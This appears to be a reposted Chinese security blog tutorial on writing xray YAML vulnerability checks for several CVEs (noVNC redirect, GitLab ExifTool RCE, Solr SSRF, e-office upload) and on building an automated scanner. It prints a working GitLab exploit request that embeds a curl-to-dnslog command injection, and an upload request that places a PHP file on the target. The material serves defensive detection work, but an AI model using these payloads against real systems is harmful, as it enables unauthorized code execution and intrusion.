編寫POC
以xray為例
學習文檔
先學習下相關文檔,大家挨個看一遍就行,有個印象即可,不用死記硬背。
如何編寫YAML格式POC
POC語法V2版
如何編寫高質量的 poc
BugScan 插件開發文檔
插件編寫
官方公布最基礎的POC如下
name: poc-yaml-example-com # 腳本部分 transport: http rules: r1: request: method: GET path: "/" expression: | response.status==200 && response.body.bcontains(b'Example Domain') expression: r1() # 信息部分 detail: author: name(link) links: - http://example.com
編寫編輯器
poc實踐
CVE-2021-3654
路徑處理出了問題,網站域名加上//example.com/%2f..即可進行url跳轉
直接get請求,所以poc很簡單,有手就行。
name: poc-yaml-novnc-url-redirection-cve-2021-3654 manual: true transport: http rules: - method: GET path: "http://baidu.com/%2f.." follow_redirects: false expression: | response.headers['location']=="http://baidu.com/%2f../" detail: author: txf(https://github.com/tangxiaofeng7) links: - https://seclists.org/oss-sec/2021/q3/188
CVE-2021-22205
exiftool解析造成的rce
一共發送2個請求
請求1:
GET /users/sign_in HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close
獲取csrf-token
請求2:
POST /uploads/user HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 X-CSRF-Token: xxx== Cookie: xx Content-Length: 879 ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg AT&TFORM?DJVMDIRM.?F????? !?N????k?D,q?I?n????"?FORM^DJVUINFO dINCLshared_anno.iffBG44J???7?*?BG44??BG44 FORMDJVIANTaP(metadata (Copyright " " . qx{curl `whoami`.dnslog.cn} . " b ") ) ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
上傳圖片觸發rce。
由于xray目前支持的編碼解碼有限,不支持hex解碼,所以我們直接寫的簡單點,使用隨機字符進行判斷,poc很簡單,有手就行。
name: poc-yaml-gitlab-cve-2021-22205-rce set: r1: randomInt(1, 9999) r2: randomInt(1, 9999) manual: true transport: http rules: - method: GET path: "/users/sign_in" expression: response.status == 200 search: >- name="csrf-token" content="(?P.+?)" - method: POST path: "/uploads/user" headers: X-CSRF-Token: |- {{token}} Content-Type: |- multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 Accept: "*/*" body: |- ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg" Content-Type: image/jpeg {{r2}} ------WebKitFormBoundaryIMv3mxRg59TkFSX5-- expression: response.body.bcontains(b'Failed to process image') detail: author: txf(https://github.com/tangxiaofeng7) links: - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released
CVE-2021-27905
這是SSRF漏洞,需要使用反連平臺,加上reverse的即可,官方寫的很詳細了。所以poc很簡單,有手就行。
name: poc-yaml-solr-cve-2021-27905-ssrf manual: true transport: http set: reverse: newReverse() reverseURL: reverse.url rules: - method: GET path: "/solr/admin/cores?indexInfo=false&wt=json" expression: | response.status == 200 search: >- "name":"(?P.+?)" - method: POST path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}" expression: | reverse.wait(5) detail: author: txf(https://github.com/tangxiaofeng7) links: - https://github.com/murataydemir/CVE-2021-27905
0day應急
不管是甲方還是乙方,一旦暴出新漏洞,應急顯得非常重要。
大部分人都是直接寫poc批量檢測內部應用,當然我也不例外。
舉個例子:
泛微e-office 文件上傳漏洞風險通告(CNVD-2021-49104)
部署靶場環境
影響版本
泛微e-office V9.0
首先虛擬機安裝下。
安裝完成后,默認賬號admin,密碼為空。
POC構造
Burpsuite原始包文
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 10.211.55.11:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://10.211.55.11:8080/login.php Cookie: LOGIN_LANG=cn; PHPSESSID=c57f0b37a12cf9dd61e35b909289d1b9 Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 Content-Length: 191 --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test1.php" Content-Type: image/jpeg 123 --e64bdf16c554bbc109cecef6451c26a4--
訪問上傳的文件是否生效
編寫poc
name: poc-yaml-e-office-v9-upload-getshell manual: true transport: http set: r1: randomLowercase(8) rules: r1: request: cache: true method: POST path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= headers: Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 body: |- --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="{{r1}}.php" Content-Type: image/jpeg {{r1}} --e64bdf16c554bbc109cecef6451c26a4-- expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php") r2: request: cache: true method: GET path: /images/logo/logo-eoffice.php expression: response.status == 200 && response.body.bcontains(bytes(r1)) expression: r1() && r2() detail: author: test links: - https://github.com/chaitin/xray/pull/1540/files
XRAY批量
將需要掃描的url寫到url.txt里,然后執行如下命令。
./xray_darwin_amd64 webscan --poc "/Users/txf/poc/e-officev9-upload-getshell.yml" --url-file url.txt --html-output result.txt
DIY自動化掃描器
之前看了linglong(一款資產巡航掃描系統)的源碼,在他的基礎上重構了一些功能。
一起看看我是如何把xray加到自動化掃描器中。
掃描器開關
在linglong的基礎上,我為掃描器添加了開關。
在代碼中定義了一個布爾值來做控制。
端口掃描
跟市面上掃描器意義,使用masscan去掃描存活端口,使用nmap進行端口的指紋識別。
原因:
1.Nmap在掃描數量較大的目標時性能緩慢 2.Masscan在高速率的掃描較大端口范圍時結果不太準確
web指紋掃描
直接用的開源的識別工具加到代碼里。
漏洞掃描
在進行xray漏洞掃描之前,先定義掃描目標的格式,代碼如下:
然后調用cmd終端執行xray掃描即可。
結果通知
直接寫一個企業微信機器人的通知。
當然也可以用xray自帶的webhook通知,沒用過,這里感興趣的可以試試。
端口指紋界面:
漏洞界面:
當然如果是企業自查xray肯定可以開啟掃描,如果是SRC掃描的話不建議開xray去掃描,動靜太大了。
尾聲
如果針對外網掃描的話,建議再加上waf識別,cdn識別,否則效率會很低,還容易被封ip。
總的來說挖掘SRC,更重要的是信息收集。
這就是目前安全應急和漏洞掃描的方法,歡迎大家積極交流。
作者:tangxiaofeng7,轉載于FreeBuf.COM
審核編輯:湯梓紅
-
漏洞掃描
+關注
關注
0文章
14瀏覽量
7303 -
PoC
+關注
關注
1文章
68瀏覽量
20500 -
編輯器
+關注
關注
1文章
803瀏覽量
31128
原文標題:干貨|我的漏洞掃描及安全應急之道
文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論